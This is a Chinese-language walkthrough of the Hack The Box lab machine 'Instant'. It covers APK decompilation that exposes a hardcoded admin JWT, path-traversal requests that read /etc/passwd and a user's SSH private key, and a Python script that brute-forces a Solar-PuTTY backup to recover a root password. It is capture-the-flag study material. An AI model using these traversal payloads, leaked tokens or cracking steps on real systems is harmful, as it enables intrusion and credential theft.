Instant（HTB Medium）
基本信息
- IP：
10.10.11.37 - VPN：
10.10.16.4 - 域名：
instant.htb
信息收集
vim /etc/hosts
10.10.11.37 instant.htb
rustscan -a 10.10.11.37 -- -sCVT
nmap -sC -sV -Pn -T4 10.10.11.37
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp open http Apache httpd 2.4.58
|_http-title: Instant Wallet
前端可下载 APK。目录穿越被限制。逆向 APK：
sudo apt install apktool
apktool d instant.apk
res 下 xml 里发现两个子域名，写入 hosts：
10.10.11.37 swagger-ui.instant.htb
10.10.11.37 mywalletv1.instant.htb
User
swagger-ui.instant.htb 可访问。用 APIKIT 测接口：
git clone https://github.com/API-Security/APIKit.git
cd APIKit
mvn clean install
Burp 导入插件，对请求右键 Extensions → DO APIKIT SCAN。/api/v1/register 能通，但注册直接 500。mywalletv1 无权限，继续挖 APK 里的 token：
find ./ -name "*.*" 2>/dev/null | xargs grep eyJ
./smali/com/instantlabs/instant/AdminActivities.smali:
const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
把管理员 JWT 填进 swagger-ui 的 Authorized。任意文件读取：
/api/v1/admin/read/log?log_file_name=/../../../../../../../etc/passwd
home 下有用户 shirohige。再读私钥：
/api/v1/admin/read/log?log_file_name=/../../../../../../../home/shirohige/.ssh/id_rsa
chmod 600 id_rsa
ssh -i id_rsa [email protected]
拿到 user。
Root
/home/shirohige 下有 logs 和 projects。projects 是 mywallet 源码，打包带回分析：
tar -zcvf mywallet.tar.gz mywallet
scp -i id_rsa [email protected]:/home/shirohige/projects/mywallet.tar.gz ./
tar -zxvf mywallet.tar.gz
netstat -tpln
tcp 0 0 127.0.0.1:8808 0.0.0.0:* LISTEN 1362/python3
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN 1354/python3
8808 / 8888 对应两个子域名。mywallet/Instant-Api/mywallet/instance 有 sqlite，hashcat 不支持该哈希格式。
找 backup：
find / -name "backup*" 2>/dev/null
/opt/backups/Solar-PuTTY/sessions-backup.dat。工具：https://github.com/VoidSec/SolarPuttyDecrypt/tree/master
scp -i id_rsa [email protected]:/opt/backups/Solar-PuTTY/* ./
官方解密工具失败（备份有密码）。写爆破脚本 decode_Solar_PuTTY.py：
import base64
from Crypto.Cipher import DES3
from Crypto.Protocol.KDF import PBKDF2
def decrypt(passphrase, ciphertext):
data = ''
try:
array = base64.b64decode(ciphertext)
salt = array[:24]
iv = array[24:32]
encrypted_data = array[48:]
key = PBKDF2(passphrase, salt, dkLen=24, count=1000)
cipher = DES3.new(key, DES3.MODE_CBC, iv)
decrypted_data = cipher.decrypt(encrypted_data)
padding_len = decrypted_data[-1]
decrypted_data = decrypted_data[:-padding_len]
data = ''.join(chr(c) for c in decrypted_data if chr(c).isascii())
except Exception as e:
print(f'Error: {e}')
return data
with open('./sessions-backup.dat') as f:
cipher = f.read()
with open('/usr/share/wordlists/rockyou.txt') as passwords:
for i, password in enumerate(passwords):
password = password.strip()
decrypted = decrypt(password, cipher)
print(f'[{i}] {password=}', end='\r')
if 'Credentials' in decrypted:
print('\r', i, password)
print()
print(decrypted)
break
python decode_Solar_PuTTY.py
解密出 root 密码 12**24nzC!r0c%q12：
su root
至此已获取机器全部权限。